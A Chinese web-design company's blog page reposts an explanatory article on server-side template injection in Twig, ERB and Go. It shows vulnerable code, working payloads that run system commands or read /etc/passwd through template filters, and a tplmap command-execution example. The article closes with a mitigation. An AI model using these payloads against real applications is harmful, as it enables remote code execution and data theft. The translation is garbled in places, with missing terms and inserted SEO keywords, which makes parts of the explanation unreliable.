宿迁腾云网络网站建设公司

腾云网络 八年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

2022-04-27

SSTI简介

MVC

MVC是一种框架模式,全称是View。

即模型()-视图(视图)-控制器()

在MVC指导下的开发中,采用业务逻辑、数据、界面展示分离的方式组织代码,将业务逻辑聚合成一个组件。在改进和定制界面和用户交互的同时php代码注入漏洞,更具有良好的开发和维护效率。

在MVC框架中,通过View接收用户的输入,交出,然后通过调用或者其他的方式处理,最后返回给View,这样最终展现在我们面前,那么这里的View将广泛使用一种称为模板的技术。

绕过服务器接收用户的恶意输入后,作为Web应用程序模板内容的一部分,不做任何处理,模板引擎执行用户插入的模板,可以在执行过程中破坏模板目标编译和渲染过程。语句,会导致敏感信息泄露、代码执行等。

虽然市场上关于SSTI的大部分问题都在上面,但请不要以为这种攻击方式只存在于.无论在何处使用模板,都可能出现 SSTI 问题。 SSTI 不属于任何一种语言。

常见的模板引擎和注入漏洞

树枝(PHP)

首先介绍带有Twig模板引擎的SSTI。很多情况下,SSTI发生在用户输入直接作为模板的时候,比如下面的代码

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();

注入$_GET['name']时,会触发SSTI

下面的代码没有,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));

对于模板引擎的使用,经常会使用模板中的一些方法来达到攻击的目的,比如Twig中的 map

一个经典的例子

{{["man"]|map((arg)=>" #{arg}")}}

会这样编译

([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))

p>

关于这个,源码是这样的

可以看到传入的$是作为函数执行的,所以不用传递,直接传递一个字符串,找到一个带两个参数的危险函数,可以通过命令执行

例如

{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}

同样的,我们也可以找到一些其他的过滤器排序,网上也有介绍,不再赘述。

当然,SSTI 也有一个基本的方法来使用它来泄漏源代码和程序环境中的上下文信息。在Twig引擎中网站模板,我们可以通过以下方法获取当前应用的一些信息

{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

ERB(红宝石)

相比Twig,ERB的代码直接提供了一些命令执行接口,比如

<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

这里主要是介绍一些模板标签的分类

例如这里使用ERB模板标签,Twig使用{{}}。根据一些简单的poc和tag分类,我们可以快速识别出是否存在模板漏洞以及使用的模板引擎技术

当然有些模板引擎标签是可以自定义的,上面列出的只是默认的

SSTI

关于 SSTI 的研究仍然相对较少网站制作,可能是因为它被设计为更安全。

但是通过 {{.}} 我们可以得到范围

如下例所示

package main
import (
    "html/template"
    "net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
    //var name = ""
    r.ParseForm() // Parses the request body
    x := r.Form.Get("name")
    var test map[string]interface{}
    test = make(map[string]interface{})
    var secret map[string]interface{}
    secret = make(map[string]interface{})
    flag := "flag{testflag}"
    secret["flag"] = &flag
    test["secret"] = secret
    var tmpl = `
First name:

` + x + `

` t := template.New("main") //name of the template is main t, _ = t.Parse(tmpl) // parsing of template string t.Execute(w, test) } func main() { server := http.Server{ Addr: "0.0.0.0:5090", } http.HandleFunc("/", handler) server.ListenAndServe() }

可以获取范围对象

进一步拿到flag

即使作用域内有可利用的函数,我们也可以调用该函数来完成攻击php代码注入漏洞,比如

type User struct {
    ID       int
    Email    string
    Password string
}
func (u User) System(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}

有

/

这个引擎应该出镜率最高,能写很多东西。限于篇幅,具体内容将记录在(下)中。

常用检测工具

工具地址:

符合设计风格,直接拍就行了

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

总结

SSTI 是 MVC 架构中常见的问题类型。除了本文介绍的几个引擎外,还有很多受影响的引擎,例如 .这个问题主要是开发者直接将用户输入作为模板交给模板引擎渲染造成的。将用户输入绑定到模板的参数可以缓解这个问题。通过SSTI,我们往往可以获取程序运行的上下文,甚至可以利用模板引擎的内置方法完成远程代码注入等高危攻击。

我整理了有关网络安全的学习资料和指导书

Tag: twig php模板引擎 php
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。

热推

  • 开源php社交网站源码 再网站建设门槛如此之低地时代,如何用较低成本部署心意地网站php小说开源网站源码
  • 最新的php框架2018年最受欢迎的7个网站开发框架清单,值得收藏!php框架和不用框架
  • 计算机编程教程列表
  • 编程中另一个非常重要的部分GDI绘图做一个讲解
  • 安卓php代码编辑器机器之心编辑部发布新AI代码补全工具,输入语音命令种子编辑洗白器安卓版
  • 单片机开发技术编程软件
  • php登陆页面完整代码 世界上最必不可少的一部分PHP实现(一):
  • norepad++如何编写php代码神秘的PHP项目终于揭开面纱,加速和优化PHP扩展手把手编写自己的php mvc
  • php开源广告管理系统的是(网页制作工具)详细的详细安装教程php 开源文档管理
  • php源码加密工具 开源PHP语言的八大优势,你知道几个?(上)cms php开源源码

相关

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

如何查看php版本?多种方法助你快速知晓

如何查看php版本?多种方法助你快速知晓

PHP格式化:提升代码质量与协作效率的关键规则

如何查看虚拟主机上的 PHP 版本?这篇文章告诉你

Linux 系统管理员和 web 开发者必知:如何查看 PH

Linux 系统管理员和 web 开发者必知:如何查看 PH

免费开源的轻量级 PHP 开发框架 ThinkPHP,遵循

从零开始开发完整网站:前端、后端与 Web 服务器的关键技术

php框架 Java 与 PHP 之争:为何懂技术的大佬选

BitDefender 发布超级工厂病毒专杀工具,可清除所有

asp语言与php语言的区别 前端和后端的区别,你真的了解吗

标签

seo(1182) 市场营销(661) 网站制作(573) 网站建设(564) 搜索引擎(553) 网站(482) PHP(361) 编程语言(345) 建站(294) 关键词排名优化(267) 网站建设公司(245) 优化(216) seo排名(207) 域名(190) 软件(171) 网站优化(148) 搜索引擎优化(146) 外链(141) 科技(136) 网站关键词(124) 网站排名优化(123) 域名服务器(120) 网站排名(107) 时政(103) 排名优化(95) 搜索引擎收录(93) 网站设计(92) 电子商务(88) 引擎(86) 移动互联网(85) 开发框架(79) 开发(75) 网站服务器(74) 框架(68) 前端开发(68) 网站分析(66) 网站建设方案(65) 关键(64) 流量(63) 源码(62) 百度优化(62) 网站权重(61) 开放源代码(59) seo培训(53) 网页设计(51) 百度(51) php框架(50) 网站建设知识(50) 大数据(50) 谷歌(49)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2025 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1

热门搜索

百度 下载 2025 2024 2026 货源 货货源 虚拟 禅道 报名 金蝶KIS旗舰版
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们